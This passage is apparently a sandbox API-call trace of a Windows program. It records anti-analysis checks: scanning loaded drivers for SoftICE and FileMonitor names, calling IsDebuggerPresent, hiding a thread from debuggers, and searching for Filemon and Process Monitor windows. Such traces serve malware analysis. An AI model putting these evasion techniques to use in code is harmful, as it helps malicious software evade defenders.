(lpString1="ntice.sys", lpString2="fwpkclnt.sys") returned 1 [0259.934] lstrcmpiA (lpString1="ntice.sys", lpString2="vmstorfl.sys") returned -1 [0259.934] lstrcmpiA (lpString1="ntice.sys", lpString2="volsnap.sys") returned -1 [0259.935] lstrcmpiA (lpString1="ntice.sys", lpString2="spldr.sys") returned -1 [0259.935] lstrcmpiA (lpString1="ntice.sys", lpString2="rdyboost.sys") returned -1 [0259.935] lstrcmpiA (lpString1="ntice.sys", lpString2="mup.sys") returned 1 [0259.935] lstrcmpiA (lpString1="ntice.sys", lpString2="hwpolicy.sys") returned 1 [0259.935] lstrcmpiA (lpString1="ntice.sys", lpString2="fvevol.sys") returned 1 [0259.935] lstrcmpiA (lpString1="ntice.sys", lpString2="disk.sys") returned 1 [0259.935] lstrcmpiA (lpString1="ntice.sys", lpString2="CLASSPNP.SYS") returned 1 [0259.935] lstrcmpiA (lpString1="ntice.sys", lpString2="Null.SYS") returned -1 [0259.935] lstrcmpiA (lpString1="ntice.sys", lpString2="Beep.SYS") returned 1 [0259.935] lstrcmpiA (lpString1="ntice.sys", lpString2="vga.sys") returned -1 [0259.935] lstrcmpiA (lpString1="ntice.sys", lpString2="VIDEOPRT.SYS") returned -1 [0259.935] lstrcmpiA (lpString1="ntice.sys", lpString2="watchdog.sys") returned -1 [0259.935] lstrcmpiA (lpString1="ntice.sys", lpString2="RDPCDD.sys") returned -1 [0259.935] lstrcmpiA (lpString1="ntice.sys", lpString2="rdpencdd.sys") returned -1 [0259.935] lstrcmpiA (lpString1="ntice.sys", lpString2="rdprefmp.sys") returned -1 [0259.935] lstrcmpiA (lpString1="ntice.sys", lpString2="Msfs.SYS") returned 1 [0259.935] lstrcmpiA (lpString1="ntice.sys", lpString2="Npfs.SYS") returned 1 [0259.935] lstrcmpiA (lpString1="ntice.sys", lpString2="tdx.sys") returned -1 [0259.935] lstrcmpiA (lpString1="ntice.sys", lpString2="TDI.SYS") returned -1 [0259.935] lstrcmpiA (lpString1="ntice.sys", lpString2="afd.sys") returned 1 [0259.935] lstrcmpiA (lpString1="ntice.sys", lpString2="netbt.sys") returned 1 [0259.935] lstrcmpiA (lpString1="ntice.sys", lpString2="wfplwf.sys") returned -1 [0259.935] lstrcmpiA (lpString1="ntice.sys", lpString2="pacer.sys") returned -1 [0259.935] lstrcmpiA (lpString1="ntice.sys", lpString2="netbios.sys") returned 1 [0259.935] lstrcmpiA (lpString1="ntice.sys", lpString2="wanarp.sys") returned -1 [0259.935] lstrcmpiA (lpString1="ntice.sys", lpString2="termdd.sys") returned -1 [0259.935] lstrcmpiA (lpString1="ntice.sys", lpString2="rdbss.sys") returned -1 [0259.936] lstrcmpiA (lpString1="ntice.sys", lpString2="nsiproxy.sys") returned 1 [0259.936] lstrcmpiA (lpString1="ntice.sys", lpString2="mssmbios.sys") returned 1 [0259.936] lstrcmpiA (lpString1="ntice.sys", lpString2="discache.sys") returned 1 [0259.936] lstrcmpiA (lpString1="ntice.sys", lpString2="csc.sys") returned 1 [0259.936] lstrcmpiA (lpString1="ntice.sys", lpString2="dfsc.sys") returned 1 [0259.936] lstrcmpiA (lpString1="ntice.sys", lpString2="blbdrive.sys") returned 1 [0259.936] lstrcmpiA (lpString1="ntice.sys", lpString2="tunnel.sys") returned -1 [0259.936] lstrcmpiA (lpString1="ntice.sys", lpString2="vgapnp.sys") returned -1 [0259.936] lstrcmpiA (lpString1="ntice.sys", lpString2="HDAudBus.sys") returned 1 [0259.936] lstrcmpiA (lpString1="ntice.sys", lpString2="usbehci.sys") returned -1 [0259.936] lstrcmpiA (lpString1="ntice.sys", lpString2="USBPORT.SYS") returned -1 [0259.936] lstrcmpiA (lpString1="ntice.sys", lpString2="E1G6032E.sys") returned 1 [0259.936] lstrcmpiA (lpString1="ntice.sys", lpString2="intelppm.sys") returned 1 [0259.936] lstrcmpiA (lpString1="ntice.sys", lpString2="CompositeBus.sys") returned 1 [0259.936] lstrcmpiA (lpString1="ntice.sys", lpString2="AgileVpn.sys") returned 1 [0259.936] lstrcmpiA (lpString1="ntice.sys", lpString2="rasl2tp.sys") returned -1 [0259.936] lstrcmpiA (lpString1="ntice.sys", lpString2="ndistapi.sys") returned 1 [0259.936] lstrcmpiA (lpString1="ntice.sys", lpString2="ndiswan.sys") returned 1 [0259.936] lstrcmpiA (lpString1="ntice.sys", lpString2="raspppoe.sys") returned -1 [0259.936] lstrcmpiA (lpString1="ntice.sys", lpString2="raspptp.sys") returned -1 [0259.936] lstrcmpiA (lpString1="ntice.sys", lpString2="rassstp.sys") returned -1 [0259.936] lstrcmpiA (lpString1="ntice.sys", lpString2="rdpbus.sys") returned -1 [0259.936] lstrcmpiA (lpString1="ntice.sys", lpString2="kbdclass.sys") returned 1 [0259.936] lstrcmpiA (lpString1="ntice.sys", lpString2="mouclass.sys") returned 1 [0259.936] lstrcmpiA (lpString1="ntice.sys", lpString2="swenum.sys") returned -1 [0259.936] lstrcmpiA (lpString1="ntice.sys", lpString2="ks.sys") returned 1 [0259.936] lstrcmpiA (lpString1="ntice.sys", lpString2="umbus.sys") returned -1 [0259.936] lstrcmpiA (lpString1="ntice.sys", lpString2="usbhub.sys") returned -1 [0259.937] lstrcmpiA (lpString1="ntice.sys", lpString2="NDProxy.SYS") returned 1 [0259.937] lstrcmpiA (lpString1="ntice.sys", lpString2="HdAudio.sys") returned 1 [0259.937] lstrcmpiA (lpString1="ntice.sys", lpString2="portcls.sys") returned -1 [0259.937] lstrcmpiA (lpString1="ntice.sys", lpString2="drmk.sys") returned 1 [0259.937] lstrcmpiA (lpString1="ntice.sys", lpString2="ksthunk.sys") returned 1 [0259.937] lstrcmpiA (lpString1="ntice.sys", lpString2="crashdmp.sys") returned 1 [0259.937] lstrcmpiA (lpString1="ntice.sys", lpString2="dump_dumpata.sys") returned 1 [0259.937] lstrcmpiA (lpString1="ntice.sys", lpString2="dump_msahci.sys") returned 1 [0259.937] lstrcmpiA (lpString1="ntice.sys", lpString2="dump_dumpfve.sys") returned 1 [0259.937] lstrcmpiA (lpString1="ntice.sys", lpString2="win32k.sys") returned -1 [0259.937] lstrcmpiA (lpString1="ntice.sys", lpString2="Dxapi.sys") returned 1 [0259.937] lstrcmpiA (lpString1="ntice.sys", lpString2="dxg.sys") returned 1 [0259.937] lstrcmpiA (lpString1="ntice.sys", lpString2="monitor.sys") returned 1 [0259.937] lstrcmpiA (lpString1="ntice.sys", lpString2="TSDDD.dll") returned -1 [0259.937] lstrcmpiA (lpString1="ntice.sys", lpString2="framebuf.dll") returned 1 [0259.937] lstrcmpiA (lpString1="ntice.sys", lpString2="hidusb.sys") returned 1 [0259.937] lstrcmpiA (lpString1="ntice.sys", lpString2="HIDCLASS.SYS") returned 1 [0259.937] lstrcmpiA (lpString1="ntice.sys", lpString2="HIDPARSE.SYS") returned 1 [0259.937] lstrcmpiA (lpString1="ntice.sys", lpString2="USBD.SYS") returned -1 [0259.937] lstrcmpiA (lpString1="ntice.sys", lpString2="kbdhid.sys") returned 1 [0259.938] lstrcmpiA (lpString1="ntice.sys", lpString2="luafv.sys") returned 1 [0259.938] lstrcmpiA (lpString1="ntice.sys", lpString2="mouhid.sys") returned 1 [0259.938] lstrcmpiA (lpString1="ntice.sys", lpString2="lltdio.sys") returned 1 [0259.938] lstrcmpiA (lpString1="ntice.sys", lpString2="rspndr.sys") returned -1 [0259.938] lstrcmpiA (lpString1="ntice.sys", lpString2="HTTP.sys") returned 1 [0259.938] lstrcmpiA (lpString1="ntice.sys", lpString2="bowser.sys") returned 1 [0259.938] lstrcmpiA (lpString1="ntice.sys", lpString2="mpsdrv.sys") returned 1 [0259.938] lstrcmpiA (lpString1="ntice.sys", lpString2="mrxsmb.sys") returned 1 [0259.938] lstrcmpiA (lpString1="ntice.sys", lpString2="mrxsmb10.sys") returned 1 [0259.938] lstrcmpiA (lpString1="ntice.sys", lpString2="mrxsmb20.sys") returned 1 [0259.938] lstrcmpiA (lpString1="ntice.sys", lpString2="ntdll.dll") returned 1 [0259.938] lstrcmpiA (lpString1="ntice.sys", lpString2="smss.exe") returned -1 [0259.938] lstrcmpiA (lpString1="ntice.sys", lpString2="apisetschema.dll") returned 1 [0259.938] lstrcmpiA (lpString1="iceext.sys", lpString2="ntoskrnl.exe") returned -1 [0259.938] lstrcmpiA (lpString1="iceext.sys", lpString2="hal.dll") returned 1 [0259.938] lstrcmpiA (lpString1="iceext.sys", lpString2="kdcom.dll") returned -1 [0259.939] lstrcmpiA (lpString1="iceext.sys", lpString2="mcupdate_GenuineIntel.dll") returned -1 [0259.939] lstrcmpiA (lpString1="iceext.sys", lpString2="PSHED.dll") returned -1 [0259.939] lstrcmpiA (lpString1="iceext.sys", lpString2="CLFS.SYS") returned 1 [0259.939] lstrcmpiA (lpString1="iceext.sys", lpString2="CI.dll") returned 1 [0259.939] lstrcmpiA (lpString1="iceext.sys", lpString2="Wdf01000.sys") returned -1 [0259.939] lstrcmpiA (lpString1="iceext.sys", lpString2="WDFLDR.SYS") returned -1 [0259.939] lstrcmpiA (lpString1="iceext.sys", lpString2="ACPI.sys") returned 1 [0259.939] lstrcmpiA (lpString1="iceext.sys", lpString2="WMILIB.SYS") returned -1 [0259.939] lstrcmpiA (lpString1="iceext.sys", lpString2="msisadrv.sys") returned -1 [0259.939] lstrcmpiA (lpString1="iceext.sys", lpString2="pci.sys") returned -1 [0259.939] lstrcmpiA (lpString1="iceext.sys", lpString2="vdrvroot.sys") returned -1 [0259.939] lstrcmpiA (lpString1="iceext.sys", lpString2="partmgr.sys") returned -1 [0259.939] lstrcmpiA (lpString1="iceext.sys", lpString2="volmgr.sys") returned -1 [0259.939] lstrcmpiA (lpString1="iceext.sys", lpString2="volmgrx.sys") returned -1 [0259.939] lstrcmpiA (lpString1="iceext.sys", lpString2="mountmgr.sys") returned -1 [0259.939] lstrcmpiA (lpString1="iceext.sys", lpString2="atapi.sys") returned 1 [0259.939] lstrcmpiA (lpString1="iceext.sys", lpString2="ataport.SYS") returned 1 [0259.939] lstrcmpiA (lpString1="iceext.sys", lpString2="msahci.sys") returned -1 [0259.939] lstrcmpiA (lpString1="iceext.sys", lpString2="PCIIDEX.SYS") returned -1 [0259.939] lstrcmpiA (lpString1="iceext.sys", lpString2="amdxata.sys") returned 1 [0259.939] lstrcmpiA (lpString1="iceext.sys", lpString2="fltmgr.sys") returned 1 [0259.939] lstrcmpiA (lpString1="iceext.sys", lpString2="fileinfo.sys") returned 1 [0259.939] lstrcmpiA (lpString1="iceext.sys", lpString2="Ntfs.sys") returned -1 [0259.939] lstrcmpiA (lpString1="iceext.sys", lpString2="msrpc.sys") returned -1 [0259.939] lstrcmpiA (lpString1="iceext.sys", lpString2="ksecdd.sys") returned -1 [0259.939] lstrcmpiA (lpString1="iceext.sys", lpString2="cng.sys") returned 1 [0259.939] lstrcmpiA (lpString1="iceext.sys", lpString2="pcw.sys") returned -1 [0259.939] lstrcmpiA (lpString1="iceext.sys", lpString2="Fs_Rec.sys") returned 1 [0259.939] lstrcmpiA (lpString1="iceext.sys", lpString2="ndis.sys") returned -1 [0259.940] lstrcmpiA (lpString1="iceext.sys", lpString2="NETIO.SYS") returned -1 [0259.940] lstrcmpiA (lpString1="iceext.sys", lpString2="ksecpkg.sys") returned -1 [0259.940] lstrcmpiA (lpString1="iceext.sys", lpString2="tcpip.sys") returned -1 [0259.940] lstrcmpiA (lpString1="iceext.sys", lpString2="fwpkclnt.sys") returned 1 [0259.940] lstrcmpiA (lpString1="iceext.sys", lpString2="vmstorfl.sys") returned -1 [0259.940] lstrcmpiA (lpString1="iceext.sys", lpString2="volsnap.sys") returned -1 [0259.940] lstrcmpiA (lpString1="iceext.sys", lpString2="spldr.sys") returned -1 [0259.940] lstrcmpiA (lpString1="iceext.sys", lpString2="rdyboost.sys") returned -1 [0259.940] lstrcmpiA (lpString1="iceext.sys", lpString2="mup.sys") returned -1 [0259.940] lstrcmpiA (lpString1="iceext.sys", lpString2="hwpolicy.sys") returned 1 [0259.940] lstrcmpiA (lpString1="iceext.sys", lpString2="fvevol.sys") returned 1 [0259.940] lstrcmpiA (lpString1="iceext.sys", lpString2="disk.sys") returned 1 [0259.940] lstrcmpiA (lpString1="iceext.sys", lpString2="CLASSPNP.SYS") returned 1 [0259.940] lstrcmpiA (lpString1="iceext.sys", lpString2="Null.SYS") returned -1 [0259.940] lstrcmpiA (lpString1="iceext.sys", lpString2="Beep.SYS") returned 1 [0259.940] lstrcmpiA (lpString1="iceext.sys", lpString2="vga.sys") returned -1 [0259.940] lstrcmpiA (lpString1="iceext.sys", lpString2="VIDEOPRT.SYS") returned -1 [0259.940] lstrcmpiA (lpString1="iceext.sys", lpString2="watchdog.sys") returned -1 [0259.940] lstrcmpiA (lpString1="iceext.sys", lpString2="RDPCDD.sys") returned -1 [0259.940] lstrcmpiA (lpString1="iceext.sys", lpString2="rdpencdd.sys") returned -1 [0259.940] lstrcmpiA (lpString1="iceext.sys", lpString2="rdprefmp.sys") returned -1 [0259.940] lstrcmpiA (lpString1="iceext.sys", lpString2="Msfs.SYS") returned -1 [0259.940] lstrcmpiA (lpString1="iceext.sys", lpString2="Npfs.SYS") returned -1 [0259.940] lstrcmpiA (lpString1="iceext.sys", lpString2="tdx.sys") returned -1 [0259.940] lstrcmpiA (lpString1="iceext.sys", lpString2="TDI.SYS") returned -1 [0259.940] lstrcmpiA (lpString1="iceext.sys", lpString2="afd.sys") returned 1 [0259.940] lstrcmpiA (lpString1="iceext.sys", lpString2="netbt.sys") returned -1 [0259.941] lstrcmpiA (lpString1="iceext.sys", lpString2="wfplwf.sys") returned -1 [0259.941] lstrcmpiA (lpString1="iceext.sys", lpString2="pacer.sys") returned -1 [0259.941] lstrcmpiA (lpString1="iceext.sys", lpString2="netbios.sys") returned -1 [0259.941] lstrcmpiA (lpString1="iceext.sys", lpString2="wanarp.sys") returned -1 [0259.941] lstrcmpiA (lpString1="iceext.sys", lpString2="termdd.sys") returned -1 [0259.941] lstrcmpiA (lpString1="iceext.sys", lpString2="rdbss.sys") returned -1 [0259.941] lstrcmpiA (lpString1="iceext.sys", lpString2="nsiproxy.sys") returned -1 [0259.941] lstrcmpiA (lpString1="iceext.sys", lpString2="mssmbios.sys") returned -1 [0259.941] lstrcmpiA (lpString1="iceext.sys", lpString2="discache.sys") returned 1 [0259.941] lstrcmpiA (lpString1="iceext.sys", lpString2="csc.sys") returned 1 [0259.941] lstrcmpiA (lpString1="iceext.sys", lpString2="dfsc.sys") returned 1 [0259.941] lstrcmpiA (lpString1="iceext.sys", lpString2="blbdrive.sys") returned 1 [0259.941] lstrcmpiA (lpString1="iceext.sys", lpString2="tunnel.sys") returned -1 [0259.941] lstrcmpiA (lpString1="iceext.sys", lpString2="vgapnp.sys") returned -1 [0259.941] lstrcmpiA (lpString1="iceext.sys", lpString2="HDAudBus.sys") returned 1 [0259.941] lstrcmpiA (lpString1="iceext.sys", lpString2="usbehci.sys") returned -1 [0259.941] lstrcmpiA (lpString1="iceext.sys", lpString2="USBPORT.SYS") returned -1 [0259.941] lstrcmpiA (lpString1="iceext.sys", lpString2="E1G6032E.sys") returned 1 [0259.941] lstrcmpiA (lpString1="iceext.sys", lpString2="intelppm.sys") returned -1 [0259.941] lstrcmpiA (lpString1="iceext.sys", lpString2="CompositeBus.sys") returned 1 [0259.941] lstrcmpiA (lpString1="iceext.sys", lpString2="AgileVpn.sys") returned 1 [0259.941] lstrcmpiA (lpString1="iceext.sys", lpString2="rasl2tp.sys") returned -1 [0259.941] lstrcmpiA (lpString1="iceext.sys", lpString2="ndistapi.sys") returned -1 [0259.941] lstrcmpiA (lpString1="iceext.sys", lpString2="ndiswan.sys") returned -1 [0259.941] lstrcmpiA (lpString1="iceext.sys", lpString2="raspppoe.sys") returned -1 [0259.941] lstrcmpiA (lpString1="iceext.sys", lpString2="raspptp.sys") returned -1 [0259.941] lstrcmpiA (lpString1="iceext.sys", lpString2="rassstp.sys") returned -1 [0259.941] lstrcmpiA (lpString1="iceext.sys", lpString2="rdpbus.sys") returned -1 [0259.941] lstrcmpiA (lpString1="iceext.sys", lpString2="kbdclass.sys") returned -1 [0259.941] lstrcmpiA (lpString1="iceext.sys", lpString2="mouclass.sys") returned -1 [0259.942] lstrcmpiA (lpString1="iceext.sys", lpString2="swenum.sys") returned -1 [0259.942] lstrcmpiA (lpString1="iceext.sys", lpString2="ks.sys") returned -1 [0259.942] lstrcmpiA (lpString1="iceext.sys", lpString2="umbus.sys") returned -1 [0259.942] lstrcmpiA (lpString1="iceext.sys", lpString2="usbhub.sys") returned -1 [0259.942] lstrcmpiA (lpString1="iceext.sys", lpString2="NDProxy.SYS") returned -1 [0259.942] lstrcmpiA (lpString1="iceext.sys", lpString2="HdAudio.sys") returned 1 [0259.942] lstrcmpiA (lpString1="iceext.sys", lpString2="portcls.sys") returned -1 [0259.942] lstrcmpiA (lpString1="iceext.sys", lpString2="drmk.sys") returned 1 [0259.942] lstrcmpiA (lpString1="iceext.sys", lpString2="ksthunk.sys") returned -1 [0259.942] lstrcmpiA (lpString1="iceext.sys", lpString2="crashdmp.sys") returned 1 [0259.942] lstrcmpiA (lpString1="iceext.sys", lpString2="dump_dumpata.sys") returned 1 [0259.942] lstrcmpiA (lpString1="iceext.sys", lpString2="dump_msahci.sys") returned 1 [0259.942] lstrcmpiA (lpString1="iceext.sys", lpString2="dump_dumpfve.sys") returned 1 [0259.942] lstrcmpiA (lpString1="iceext.sys", lpString2="win32k.sys") returned -1 [0259.942] lstrcmpiA (lpString1="iceext.sys", lpString2="Dxapi.sys") returned 1 [0259.942] lstrcmpiA (lpString1="iceext.sys", lpString2="dxg.sys") returned 1 [0259.942] lstrcmpiA (lpString1="iceext.sys", lpString2="monitor.sys") returned -1 [0259.942] lstrcmpiA (lpString1="iceext.sys", lpString2="TSDDD.dll") returned -1 [0259.942] lstrcmpiA (lpString1="iceext.sys", lpString2="framebuf.dll") returned 1 [0259.942] lstrcmpiA (lpString1="iceext.sys", lpString2="hidusb.sys") returned 1 [0259.942] lstrcmpiA (lpString1="iceext.sys", lpString2="HIDCLASS.SYS") returned 1 [0259.942] lstrcmpiA (lpString1="iceext.sys", lpString2="HIDPARSE.SYS") returned 1 [0259.942] lstrcmpiA (lpString1="iceext.sys", lpString2="USBD.SYS") returned -1 [0259.942] lstrcmpiA (lpString1="iceext.sys", lpString2="kbdhid.sys") returned -1 [0259.942] lstrcmpiA (lpString1="iceext.sys", lpString2="luafv.sys") returned -1 [0259.942] lstrcmpiA (lpString1="iceext.sys", lpString2="mouhid.sys") returned -1 [0259.942] lstrcmpiA (lpString1="iceext.sys", lpString2="lltdio.sys") returned -1 [0259.942] lstrcmpiA (lpString1="iceext.sys", lpString2="rspndr.sys") returned -1 [0259.942] lstrcmpiA (lpString1="iceext.sys", lpString2="HTTP.sys") returned 1 [0259.942] lstrcmpiA (lpString1="iceext.sys", lpString2="bowser.sys") returned 1 [0259.943] lstrcmpiA (lpString1="iceext.sys", lpString2="mpsdrv.sys") returned -1 [0259.943] lstrcmpiA (lpString1="iceext.sys", lpString2="mrxsmb.sys") returned -1 [0259.943] lstrcmpiA (lpString1="iceext.sys", lpString2="mrxsmb10.sys") returned -1 [0259.943] lstrcmpiA (lpString1="iceext.sys", lpString2="mrxsmb20.sys") returned -1 [0259.949] IsDebuggerPresent () returned 0 [0259.950] NtSetInformationThread (ThreadHandle=0xfffffffe, ThreadInformationClass=0x11, ThreadInformation=0x0, ThreadInformationLength=0x0) returned 0x0 [0259.951] FindWindowA (lpClassName="FilemonClass", lpWindowName=0x0) returned 0x0 [0259.951] FindWindowA (lpClassName=0x0, lpWindowName="File Monitor - Sysinternals: www.sysinternals.com") returned 0x0 [0259.951] FindWindowA (lpClassName="PROCMON_WINDOW_CLASS", lpWindowName=0x0) returned 0x0 [0259.951] FindWindowA (lpClassName=0x0, lpWindowName="Process Monitor - Sysinternals: www.sysinternals.com") returned 0x0 [0259.951] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x240000 [0259.951] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77350000 [0259.951] GetProcAddress (hModule=0x77350000, lpProcName="NtQuerySystemInformation") returned 0x7736fda0 [0259.951] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0x240000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x240000, ResultLength=0x0) returned 0x0 [0259.952] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ntoskrnl.exe") returned -1 [0259.952] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="hal.dll") returned -1 [0259.952] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="kdcom.dll") returned -1 [0259.952] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mcupdate_Genuin") returned -1 [0259.952] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="PSHED.dll") returned -1 [0259.952] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="CLFS.SYS") returned 1 [0259.952] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="CI.dll") returned 1 [0259.953] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Wdf01000.sys") returned -1 [0259.953] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="WDFLDR.SYS") returned -1 [0259.953] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ACPI.sys") returned 1 [0259.953] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="WMILIB.SYS") returned -1 [0259.953] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="msisadrv.sys") returned -1 [0259.953] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="pci.sys") returned -1 [0259.953] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="vdrvroot.sys") returned -1 [0259.953] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="partmgr.sys") returned -1 [0259.953] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="volmgr.sys") returned -1 [0259.953] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="volmgrx.sys") returned -1 [0259.953] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mountmgr.sys") returned -1 [0259.953] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="atapi.sys") returned 1 [0259.953] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ataport.SYS") returned 1 [0259.953] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="msahci.sys") returned -1 [0259.953] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="PCIIDEX.SYS") returned -1 [0259.953] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="amdxata.sys") returned 1 [0259.953] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="fltmgr.sys") returned -1 [0259.953] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="fileinfo.sys") returned 1 [0259.953] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Ntfs.sys") returned -1 [0259.953] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="msrpc.sys") returned -1 [0259.953] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ksecdd.sys") returned -1 [0259.953] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="cng.sys") returned 1 [0259.953] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="pcw.sys") returned -1 [0259.953] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Fs_Rec.sys") returned -1 [0259.953] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ndis.sys") returned -1 [0259.953] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="NETIO.SYS") returned -1 [0259.953] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ksecpkg.sys") returned -1 [0259.954] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="tcpip.sys") returned -1 [0259.954] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="fwpkclnt.sys") returned -1 [0259.954] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="vmstorfl.sys") returned -1 [0259.954] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="volsnap.sys") returned -1 [0259.954] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="spldr.sys") returned -1 [0259.954] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rdyboost.sys") returned -1 [0259.954] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mup.sys") returned -1 [0259.954] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="hwpolicy.sys") returned -1 [0259.954] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="fvevol.sys") returned -1 [0259.954] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="disk.sys") returned 1 [0259.954] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="CLASSPNP.SYS") returned 1 [0259.954] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Null.SYS") returned -1 [0259.954] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Beep.SYS") returned 1 [0259.954] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="vga.sys") returned -1 [0259.954] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="VIDEOPRT.SYS") returned -1 [0259.954] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="watchdog.sys") returned -1 [0259.954] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="RDPCDD.sys") returned -1 [0259.954] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rdpencdd.sys") returned -1 [0259.954] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rdprefmp.sys") returned -1 [0259.954] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Msfs.SYS") returned -1 [0259.954] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Npfs.SYS") returned -1 [0259.954] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="tdx.sys") returned -1 [0259.954] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="TDI.SYS") returned -1 [0259.954] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="afd.sys") returned 1 [0259.954] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="netbt.sys") returned -1 [0259.954] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="wfplwf.sys") returned -1 [0259.954] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="pacer.sys") returned -1 [0259.954] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="netbios.sys") returned -1 [0259.954] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="wanarp.sys") returned -1 [0259.954] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="termdd.sys") returned -1 [0259.955] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rdbss.sys") returned -1 [0259.955] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="nsiproxy.sys") returned -1 [0259.955] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mssmbios.sys") returned -1 [0259.955] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="discache.sys") returned 1 [0259.955] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="csc.sys") returned 1 [0259.955] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="dfsc.sys") returned 1 [0259.955] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="blbdrive.sys") returned 1 [0259.955] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="tunnel.sys") returned -1 [0259.955] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="vgapnp.sys") returned -1 [0259.955] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="HDAudBus.sys") returned -1 [0259.955] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="usbehci.sys") returned -1 [0259.955] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="USBPORT.SYS") returned -1 [0259.955] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="E1G6032E.sys") returned 1 [0259.955] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="intelppm.sys") returned -1 [0259.955] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="CompositeBus.sy") returned 1 [0259.955] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="AgileVpn.sys") returned 1 [0259.955] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rasl2tp.sys") returned -1 [0259.955] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ndistapi.sys") returned -1 [0259.955] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ndiswan.sys") returned -1 [0259.955] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="raspppoe.sys") returned -1 [0259.955] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="raspptp.sys") returned -1 [0259.955] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rassstp.sys") returned -1 [0259.955] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rdpbus.sys") returned -1 [0259.955] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="kbdclass.sys") returned -1 [0259.955] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mouclass.sys") returned -1 [0259.955] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="swenum.sys") returned -1 [0259.955] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ks.sys") returned -1 [0260.056] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="umbus.sys") returned -1 [0260.056] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="usbhub.sys") returned -1 [0260.056] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="NDProxy.SYS") returned -1 [0260.056] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="HdAudio.sys") returned -1 [0260.056] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="portcls.sys") returned -1 [0260.056] lstrcmpiA 